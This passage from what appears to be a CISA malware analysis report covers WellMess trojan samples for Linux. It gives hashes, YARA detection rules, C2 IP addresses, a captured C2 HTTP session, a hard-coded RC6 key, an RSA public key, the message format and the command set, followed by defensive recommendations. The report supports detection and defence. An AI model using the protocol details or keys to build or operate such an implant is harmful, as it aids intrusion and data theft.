—End Data Collected—

The data is stored in the following format:

—Begin Format—

"200.200.200.150||root|root|e3b0c44298fc1c149afb4c8996fb924"

—End Format—

The victim's system data is used to generate a unique identifier which is hexadecimal encoded and stored in the format below as a unique identifier of the victim's system:

—Begin Message Format—

"

<;head;>3230302e3230302e3230302e3135307c7c726f6f747c726f6f74e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855/p<;he<;title;>a:1_0<;title;><;service;>p<;service;>"

—End Message Format—

In the message above, the hexadecimal string between the <head> delimiters is the original encoded string. Data between the <title> delimiters control the session, while data between the <service> delimiters relate to commands. Some of the commands include the following:

—Begin Commands—

- (fu) File upload
- (fd) File download
- (u) Change user-agent string

—End Commands—

The message above is encrypted with RC6 using a hard-coded encryption key. The encrypted data is then encoded using the Base64 encoding function. It trims Base64 "=" | "/" | ":" and adds spaces with the "_/home/ubuntu/GoProject/src/bot/botlib.Base64ToNormal" function.

The following is an example of how the Base64 encoded data is trimmed:

—Begin Base64 Encoded Data—

TnKTjksd=f8E+Pt5lxY+is2+wt6+bcu6jw8+9aYct+CTpu1eh+re8PkzU+yec.+mfxQxvn+6m14Z9+K%2CDIgKP+BQHE+5LXS+tQOe+XBUzY+8qvx.+ZltbIG9=+6sd+H2kngW+I90kBVA.+OrUY+tLOuc%2C+mFfoZ+DAc1j+7p9QhJ+e1A+dZC%3A6+G9U.+1GEjt9+QhS+qWm+Rwu7Jf+4nn+XBQ8lsC

—End Base64 Encoded Data—

The final trimmed Base64 encoded data is stored in the "Cookie" header. The malware communicates with it C2 server at the IP address 192.48.88.107 using HTTP requests which are RSA-encrypted and Base64 encoded. The "Cookie" header will contain the RC6 encrypted information, including the system unique identifier, mentioned above. The bottom of the message body will contain a dynamically generated AES key, which is encrypted utilizing a hard-coded public RSA key. The AES key will be utilized to secure the transfer of C2 data between the remote operator and the malware, including executable scripts, which are executed on the target system.

Analysis indicates that once a connection is established, the malware is designed to initiate a command and control service from the remote operator using the function "_/home/ubuntu/GoProject/src/bot/botlib.Work". It performs functions based on the received commands:

—Begin Functions—

- File upload
- File download
- Change user-agent string

—End Functions—

The following Public Key is used for secure communication with the C2:

—Begin Public Key—

MIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAgU3sMUB/SEWHNe8xNSFG
DMYlqo/BsMvI9OdNb3keEuW57nmFctMiecNZu9c+ZGYTWBSU07cbxU045tIFOpY
nhbnnnjgEDA9JCA12CUIJ5L74ERo8FuBLC18FoL5QtBrXm65RdxuP3CRghg0amR
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kuBXqd6461MjkGNI0pdIUev9BDeK74B7vmZ6TbQrdQ27+bNVTg6qqai+6vwLFxUB
BwIDAQAB

—End Public Key—

e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09

Tags

trojan

Details

Name	e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09
Size	6707096 bytes

Type	ELF 64-bit LSB executable, x86-64, version 1 (SYSV)
MD5	2f9f4f2a9d438cdc944f79bdf44a18f8
SHA1	709878e13633e44b45ad1ab569ad34e3dc1efd3b
SHA256	e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09
SHA512	9626f0896b5a657cd48ccb79fe5701e92b3def3210be596bcf561b8f20f3e7daa532654ab00351fcea7598348a76aa911f3cb8be796d38bca0223
ssdeep	49152:T8FWH8y/gahO9FcIXKtqEJnerv41WHrFq44gP1T1WPmoFjPnMBKBJ2f+r9O1Ogg3:ooHdgaMX1JLfv1opfMABT
Entropy	6.006374

Antivirus

Antiy	Trojan/Linux.Agent
Avira	LINUX/Agent.vkmrr
BitDefender	Trojan.Linux.Generic.105878
ESET	a variant of Linux/WellMess.B trojan
Emsisoft	Trojan.Linux.Generic.105878 (B)
Ikarus	Trojan.Linux.Agent
McAfee	GenericRXKJ-GH!2F9F4F2A9D43
TrendMicro	TROJ_FR.C35E7E37
TrendMicro House Call	TROJ_FR.C35E7E37

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS
 - {
 - meta:
 - Author = "CISA Code & Media Analysis"
 - Date= "2020-07-06"
 - Last_Modified="20200706_1017"
 - Actor="n/a"
 - Category="Trojan"
 - Family="WellMess"
 - Description = "Detects WellMess implant and SangFor Exploit"
 - MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
 - SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
 - MD5_2 = "a32e1202257a2945bf0f878c58490af8"
 - SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
 - MD5_3 = "861879f402fe3080ab058c0c88536be4"
 - SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
 - MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
 - SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"
 - MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
 - SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
 - MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"

SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
MD5_8 = "967fcf185634def5177f74b0f703bdc0"
SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"
MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"

strings:

\$0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
\$1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
\$2 = "GoProject/src/bot/botlib.deleteFile"
\$3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
\$4 = "GoProject/src/bot/botlib.AES_Decrypt"
\$5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
\$6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
\$7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
\$8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
\$9 = "get_keyRC6"
\$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
\$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
\$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
\$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
\$14 = "GoProject/src/bot/botlib.wellMess"
\$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
\$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
\$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
\$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }
\$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }
\$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }
\$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }
\$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }
\$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }
\$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }

\$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }

\$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }

\$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

condition:

(\$0 and \$1 and \$2 and \$3 and \$4) or (\$5 and \$6 and \$7 and \$8 and \$9) or (\$10 and \$11) or (\$12 and \$13) or (\$14) or (\$15 and \$16 and \$17 and \$18) or (\$19 and \$20) or (\$21 and \$22 and \$23) or (\$24) or (\$25 and \$26) or (\$27)

}

ssdeep Matches

No matches found.

Relationships

e329607379...	Connected_To	103.73.188.101
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Description

This artifact is an ELF 64-bit written in Go. It has been identified as a variant of the WellMess malware family.

When executed, it attempts to collect the following data from the victim's system:

—Begin Data Collected—

IP address of the victim system

Current username

Domain name

—End Data Collected—

The data is stored in the following format:

—Begin Format—

"200.200.200.150||root|root|e3b0c44298fc1c149afb4c8996fb924"

—End Format—

The victim's system data is used to generate a unique identifier for the target system. This unique identifier is hexadecimal encoded and stored in the format below:

—Begin Message Format—

"

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<;head;>3230302e3230302e3230302e3135307c7c726f6f747c726f6f74e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855/p<;he
<;title;>a:1_0<;title;><;service;>p<;service;>"
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—End Message Format—

In the message above, the hexadecimal string between the <head> delimiters is the original encoded string. Data between the <title> delimiters control the session, while data between the <service> delimiters relate to commands. Some of the commands include the following:

—Begin Commands—

(fu) File upload

(fd) File download

(u) Change user-agent string

—End Commands—

The message above, is encrypted using a hard-coded RC6 key. This key is loaded using the function "botlib.KeyRC6".

Displayed below is the hard coded RC6 key used to encrypt the data:

—Begin RC6 Key—

OHVbn3Fdv/sgvP9VRO/9OQ==

—End RC6 Key—

The encrypted data is encoded using the Base64 encoding function. It trims base64 "=" | "/" | ":" and adds spaces with the "botlib.Base64ToNormal" function.

Displayed below is an example of how the Base64 encoded data is trimmed:

—Begin Base64 encoded data—

ISBUYfP7=sW93f+%2CKH+o%2CGNb+iL2o8jb+LWRTcTH+v20b+XP22L+bgli+B4E.+JaA+yVyKo+A%3Am+N8b+Hgf5+%3AzL69zU+2m8B+Azv6uDqNtIN=1.+9B7sUM+571cpj6+hfb+vdjukEY+xeS+iWSN+XbtVIB+4fxCCL.+a9el+eX90Q+hTImb+kE2pi+uV2XuDZj

—End Base64 encoded data—

The final trimmed Base64 encoded data is stored in the Cookie header. The malware communicates with its C2 server at the IP address 103.73.188.101 using HTTP requests which are RSA-encrypted and Base64 encoded. The "Cookie" header will contain the RC6 encrypted information, including the system unique identifier, mentioned above. The bottom of the message body will contain a dynamically generated AES key which is encrypted utilizing a hard-coded public RSA key. The AES key will be utilized to transfer C2 data between the remote operator and the malware, including executable scripts which are executed on the target system.

Analysis indicates that once a connection is established, the malware is designed to initiate command and control service from the remote operator using the function "botlib.Work". It performs functions based on the received commands:

—Begin Functions—

File upload

File download

Change user-agent string

—End Functions—

The following Public Key is used for secure communication with the C2:

—Begin Public Key—

MiIBlJANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqU3sMUB/SEWHNe8xNSFG

DMylqo/BsMvI9OdNb3keEuW57nmFctMiecnZu9c+ZGYTWBSU07cbxU045tlFOprY

nhbnnnjgEDA9JCA12CUIJ5L74ERo8FuBLC18FoL5QtBrXm65RdxuP3CRghg0amR

S5aFpW8p3kpdIINXsXasnjFBw+q009u7w6rDXkK2hrplvF2fzIrs7DrRwwKJ2lCf

xgnhY00UWHohjOj3ecQQJMn71puy94pCmpv+7zAyCiYYTNYhC29xUAH1j6aBAVKI

kuBXqd6461MJkGNI0pdIUev9BDeK74B7vmZ6TbQrdQ27+bNVTg6qqai+6vwLFxUB

BwIDAQAB

—End Public Key—

103.73.188.101

Tags

command-and-control

Ports

- 80 TCP

HTTP Sessions

- POST / HTTP/1.1

Host: 103.73.188.101

User-Agent: Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0

Content-Length: 423

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Cookie:

ISBUYfP7=sW93f+%2CKH+o%2CGNb+iL2o8jb+LWRTcTH+v20b+XP22L+bgli+B4E.+JaA+yVyKo+A%3Am+N8b+Hgf5+%3AzL69zU+2m86uDqNtIN=1.+9B7sUM+571cpj6+hfB+vdjukEY+xeS+iWSN+XbtVIB+4fxCCL.+a9el+eX90Q+hTIImb+kE2pi+uV2XuDZj

Accept-Encoding: gzip

Z25gZ5A PuN nSBtz 5USoc 8HrEN9 DsA 2UqoV gUVciJ Ur3. RCa qNs lDr3FO vITG H69jRJ7 bfGbc8 UrO8rT LLaKll. uVuNP eKC 9uH pHy UY3G,w7 B7D6OR r:L CmaikCh. BYoOSbM aMIHrd L25LVy Gpd2jI8 kcW R98au Evcg HSFp0D9. tMg DhtzW 6Lh FuzXBD ypERa 2y:d0Bq uPnAw vyIvE. rp0LXY E6mW3E gUUJpf P1sRa9r riNN9g0 rXHfvl kly ZqZ:FB. ejr FpzCq Ey23 t0A PjPM fnlL jpr J4,0DPy. WyeM iMcK ahp07 tlqNkH ,aYzcG OnawAk iRmPT :b0PIiN. 2q: p1k5 nD5D6lg

Whois

Queried whois.apnic.net with "103.73.188.101"...

% Information related to '103.73.188.0 - 103.73.191.255'

% Abuse contact for '103.73.188.0 - 103.73.191.255' is 'query@evokedigital.in'

inetnum: 103.73.188.0 - 103.73.191.255

netname: EVOKEDS

descr: Evoke Digital Solutions

admin-c: RK634-AP

tech-c: RK634-AP

country: IN

mnt-by: MAINT-IN-IRINN

mnt-irt: IRT-EVOKEDS-IN

mnt-routes: MAINT-IN-EVOKEDS

status: ASSIGNED PORTABLE

last-modified: 2016-08-30T11:20:02Z

source: APNIC

irt: IRT-EVOKEDS-IN

address: 371, Jagjivan Ram Nagar, Patnipura,Indore,Madhya Pradesh-452001

e-mail: radhe@evokedigital.in

abuse-mailbox: query@evokedigital.in

admin-c: RK634-AP

tech-c: RK634-AP

auth: # Filtered

mnt-by: MAINT-IN-EVOKEDS

last-modified: 2016-08-30T11:13:51Z

source: APNIC

person: Rajat Keshriya

address: 371, Jagjivan Ram Nagar, Patnipura,Indore,Madhya Pradesh-452001

country: IN

phone: +91 9993099926

e-mail: radhe@evokedigital.in

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nic-hdl:    RK634-AP
mnt-by:    MAINT-IN-EVOKEDS

last-modified: 2016-08-30T11:14:18Z

source:    APNIC

% Information related to '103.73.188.0/24AS135752'

route:     103.73.188.0/24
descr:     Evoke Digital Solutions Route object
origin:    AS135752
country:   IN
notify:    radhe@evokedigital.in
mnt-by:    MAINT-IN-IRINN
mnt-routes: MAINT-IN-EVOKEDS
last-modified: 2016-09-19T09:13:33Z

source:    APNIC

% This query was served by the APNIC Whois Service version 1.88.15-SNAPSHOT (WHOIS-US3)
    
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Relationships

103.73.188.101	Connected_From	e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09
103.73.188.101	Connected_From	14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2

Description

e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09 and 14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2 attempt to connect to the IP address.

14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2

Tags

trojan

Details

Name	14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2
Size	2430280 bytes
Type	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux)
MD5	861879f402fe3080ab058c0c88536be4
SHA1	db4f07ecef1e290d727379ded4f15a0d4a59f88
SHA256	14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2
SHA512	dd2cb0f9f0c5fb985bfc58867399a72989606066b5d943b2074bf04769175f26c19a354bb7e012a74c54a772c86d5152c46f4617f6d84e49a552
ssdeep	49152:c+b/fDJqZxtZWU71nFqO8apKC9AS7aAZYgBEB:R38xtZ/71FqODKcN8
Entropy	7.912054

Antivirus

Avira	LINUX/Agent.pzcai
BitDefender	Trojan.Linux.GenericA.37725
ClamAV	Unix.Malware.Agent-7376649-0

ESET	a variant of Linux/WellMess.B trojan
Emsisoft	Trojan.Linux.GenericA.37725 (B)
Ikarus	Trojan.Linux.Agent

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS

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meta:
    Author = "CISA Code & Media Analysis"
    Date= "2020-07-06"
    Last_Modified="20200706_1017"
    Actor="n/a"
    Category="Trojan"
    Family="WellMess"
    Description = "Detects WellMess implant and SangFor Exploit"
    MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
    SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
    MD5_2 = "a32e1202257a2945bf0f878c58490af8"
    SHA256_2 = "a4b790dfff3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
    MD5_3 = "861879f402fe3080ab058c0c88536be4"
    SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
    MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
    SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f77fbad2c5a841a90a0af09"
    MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
    SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
    MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"
    SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
    MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
    SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
    MD5_8 = "967fcf185634def5177f74b0f703bdc0"
    SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
    MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
    SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"
    MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
    SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
    MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
    SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
    MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
    SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"
strings:

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$0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
$1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
$2 = "GoProject/src/bot/botlib.deleteFile"
$3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
$4 = "GoProject/src/bot/botlib.AES_Decrypt"
$5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
$6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
$7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
$8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
$9 = "get_keyRC6"
$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
$14 = "GoProject/src/bot/botlib.wellMess"
$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }
$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }
$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }
$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }
$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }
$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }
$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61
72 67 3E 2E 2A 3F }
$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }
$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }
$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

condition:

($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14)
or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)

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ssdeep Matches

No matches found.

Relationships

14e9b5e214...	Connected_To	103.73.188.101
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Description

This artifact is an Ultimate Packer for eXecutable (UPX) archive containing an ELF 64-bit file written in Go that supports Korean, Japanese, Traditional Chinese, and Simplified Chinese languages. It has been identified as a variant of the WellMess malware family.

The program is capable of encrypting, decrypting, uploading and downloading files. It can also execute commands and send and receive encrypted messages. The following is a list of the malware's capabilities:

— Begin Bot Capabilities —

botlib.EncryptText
botlib.encrypt
botlib.Command
botlib.transformRighttBytes
botlib.reply
botlib.Service
botlib.saveFile
botlib.UDFile
botlib.Download
botlib.Send
botlib.Work
botlib.chunksM
botlib.Join
botlib.wellMess
botlib.RandStringBytes
botlib.GetRandomBytes
botlib.Key
botlib.GenerateSymmKey
botlib.CalculateMD5Hash
botlib.Transf
botlib.GetLocale
botlib.Parse
botlib.Pack
botlib.Unpack
botlib.UnpackB
botlib.FromNormalToBase64
botlib.RandInt
botlib.Base64ToNormal
botlib.KeySizeError.Error
botlib.New
botlib.(*rc6cipher).BlockSize
botlib.convertFromString
botlib.(*rc6cipher).Encrypt
botlib.(*rc6cipher).Decrypt

botlib.Split
botlib.Cipher
botlib.Decipher
botlib.Pad
botlib.AES_Encrypt
botlib.AES_Decrypt
botlib.generateRandomString
botlib.deleteFile
botlib.Post
botlib.SendMessage
botlib.ReceiveMessage
botlib.Send.func1
botlib.init
botlib.(*KeySizeError).Error

— End Bot Capabilities —

When the program is executed it will attempt to contact its C2 at the IP address, 103.73.188.101 over TCP port 80. The program collects the IP address of the victim system, current username, and domain to send to the C2. This data string is appended with a unique SHA256 hash. The completed string is then RC6 encrypted and then Base64 encoded. Non-random characters are interspersed into the Base64 string for further obfuscation. The following is an example of the encoded string:

— Begin Encoded String Sample —

HNX7A5nA=UUn5+2g6J+emwEU+MSkFqW+FAtoNc+dtFnr.+dHFn3ip+P8I+r19+B7s+UM571cp+j6hf+BvdjukE+YxeSiW.+SNXbt+VIB4fxC+CLa9e

— End Encoded String Sample —

The string is used to uniquely identify communication to and from the C2. Messages are formatted in the following manner:

— Begin Message Format —

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<;head;>3230302e3230302e3230302e3232317c7c757365727c75736572e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855<;he  
<;title;>rc<;title;><;service;><;service;>
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— End Message Format —

In the message above the hexadecimal string between the <head> delimiters is the original encoded string. This string translates as the following:

— Begin String Translate —

200.200.200.221||user|user e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855

— End String Translate —

Data between the <title> delimiters control the session, while data between the <service> delimiters relate to commands. Some of the commands include the following:

— Begin Commands —

(fu) File upload

(fd) File download

(u) Change user-agent string

— End Commands —

During each C2 session an AES key is dynamically generated. The AES key is encrypted via an embedded hard coded RSA public key before being delivered to the remote operator / C2 server. This AES key will be utilized to secure C2 sessions. The following Public Key is used for secure communication with the C2:

—Begin Public Key—

MIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqU3sMUB/SEWHNe8xNSFG
 DMylqo/BsMvI9OdNb3keEuW57nmFctMiecNZu9c+ZGYTWBSU07cbxU045tlFOprY
 nhbnnnjgEDA9JCA12CUIJ5L74ERo8FuBLC18FoL5QtBrXm65RdxuP3CRghg0amR
 S5aFpW8p3kpdIINXsXasnjFBw+q009u7w6rDXkK2hrpIvF2fzIrs7DrRwwKJ2ICf
 xgnhY00UWHohjOj3ecQQJmN71puy94pCmpv+7zAyCiYTYNyhC29xUAH1j6aBAVKI
 kuBXqd6461MjkGNI0pdIUev9BDeK74B7vmZ6TbQrdQ27+bNVTg6qqai+6vwLFxUB
 BwIDAQAB

—End Public Key—

Relationship Summary

953b5fc997...	Created	47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854
47cdb87c27...	Connected_To	85.93.2.116
47cdb87c27...	Created_By	953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a
85.93.2.116	Connected_From	47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854
5ca4a9f655...	Connected_To	209.58.186.196
5ca4a9f655...	Connected_To	141.98.212.55
141.98.212.55	Connected_From	5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb
209.58.186.196	Connected_From	5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb
7c39841ba4...	Connected_To	192.48.88.107
192.48.88.107	Connected_From	7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee
192.48.88.107	Connected_From	fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950
fd3969d323...	Connected_To	192.48.88.107
e329607379...	Connected_To	103.73.188.101
103.73.188.101	Connected_From	e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09
103.73.188.101	Connected_From	14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2
14e9b5e214...	Connected_To	103.73.188.101

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.

- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "**Guide to Malware Incident Prevention & Handling for Desktops and Laptops**".

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